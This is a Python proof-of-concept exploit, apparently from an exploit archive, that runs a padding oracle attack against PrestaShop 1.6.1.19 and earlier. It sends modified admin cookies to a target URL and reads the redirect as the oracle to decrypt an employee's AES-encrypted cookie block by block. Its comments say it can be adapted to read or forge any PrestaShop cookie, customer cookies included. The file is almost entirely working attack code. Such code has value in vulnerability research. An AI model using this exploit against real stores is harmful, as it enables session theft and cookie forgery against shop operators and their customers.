#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 AES (Rijndael) / openssl_encrypt() Cookie Read
# Charles Fol
#
#
# This POC will reveal the content of an employee's cookie.
# By modifying it one can read/write any PrestaShop cookie.
# It is a simple padding oracle implementation.
#
import
requests
import
urllib.parse
import
base64
s
=
requests.Session()
"""
s.proxies = {
'http': 'localhost:8080',
'https': 'localhost:8080',
}
#"""
# Login as an employee, get your cookie and paste it here along with the URL
cookie
=
"PrestaShop-b0ebb4f17b3e451202e5b044e29ed75d=20NxjuYuGVhSt8n0M54Av9Qkpyzl9axkK%2BGgLLCcv0MLQZhLAEV8lnq6U2Ew2n5aMUOYqkrkpqjputuLiBEqqW7pIce8cUv%2F3SEFp3tPnWfCgJgXKUsR1htOQ4KAoXyYLhoc31kVgcm39OhQh5Zg3A78HnO1On2udHwN8dTRdI86kewEFZPNtmMeBF7sAr9zezevsjK1VU4BI84EVXCYQuuhnVehoqfAa9XoZC%2FD3FEmDSuspZw2AUB0S7Py6ks6eEeCVDWieBKDsHD13UK%2FzgM%2F65m5rpU1P4BSQSHN2Qs%3D000208"
# Parse blocks and size
cookie_name, cookie_value
=
cookie.split(
"="
)
cookie_value
=
urllib.parse.unquote(cookie_value)
cookie_size
=
cookie_value[
-
6
:]
cookie_value
=
cookie_value[:
-
6
]
cookie_value
=
base64.b64decode(cookie_value)
BLOCK_SIZE
=
16
def
test_padding(data):
"""Returns true if the padding is correct, false otherwise.
One can easily adapt it for customer cookies using:
index.php?controller=identity
"""
data
=
base64.b64encode(data).decode()
data
=
urllib.parse.quote(data)
data
=
data
+
cookie_size
s.cookies[cookie_name]
=
data
r
=
s.get(URL, allow_redirects
=
False
)
s.cookies.clear()
return
'AdminLogin'
not
in
r.headers.get(
'Location'
, '')
def
e(msg):
print
(msg)
exit(
1
)
if
not
test_padding(cookie_value):
e(
"Invalid cookie (1)"
)
elif
test_padding(b
"~~~~~"
):
e(
"Invalid cookie (2)"
)
# Perform the padding oracle attack
result
=
b''
for
b
in
range
(
1
,
len
(cookie_value)
/
/
BLOCK_SIZE
+
1
):
obtained
=
[]
current_block
=
cookie_value[(b )
*
BLOCK_SIZE:][:BLOCK_SIZE]
precedent_block
=
cookie_value[(b
-
1
)
*
BLOCK_SIZE:][:BLOCK_SIZE]
for
p
in
range
(BLOCK_SIZE):
nb_obtained
=
len
(obtained)
for
i
in
range
(
256
):
pad
=
nb_obtained
+
1
prelude
=
(
b
"\x00"
*
(BLOCK_SIZE
-
pad)
+
bytes([i])
+
bytes([o ^ pad
for
o
in
obtained][::
-
1
])
)
data
=
cookie_value
+
prelude
+
current_block
if
test_padding(data):
print
(
"Got byte #%d of block #%d: %d"
%
(p, b, i))
obtained.append(i ^ pad)
break
else
:
e(
"Unable to decode position %d"
%
p)
# Compute the contents of the plaintext block
result
+
=
bytes([o ^ p
for
p, o
in
zip
(precedent_block, obtained[::
-
1
])])
try
:
print
(
"COOKIE: %s"
%
result.decode())
except
UnicodeDecodeError:
print
(
"COOKIE: Unable to decode, wait for next block"
)